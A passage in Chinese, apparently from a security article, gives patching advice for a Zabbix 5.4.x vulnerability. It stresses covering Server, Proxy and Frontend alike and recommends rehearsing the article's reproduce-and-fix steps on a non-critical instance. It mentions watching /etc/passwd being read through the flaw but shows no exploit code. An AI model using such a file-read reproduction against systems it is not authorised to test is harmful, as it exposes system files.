Proxy仍运行在5.4.6。而Proxy的Web界面独立部署同样存在此漏洞。监控体系是分层的修复必须覆盖Server、Proxy、Frontend全组件缺一不可。我在实际操作中发现很多团队卡在5.4.x升级的最大障碍不是技术而是“怕改坏”。其实Zabbix官方升级文档写得非常清楚5.4.x小版本升级只需停服务、替换二进制、启服务三步。我建议挑一个非核心业务的Zabbix实例用本文的复现修复流程走一遍全程录像再组织一次内部分享。当你亲眼看到/etc/passwd被读出来又亲手把它挡住那种掌控感比读十篇CVE分析报告都管用。
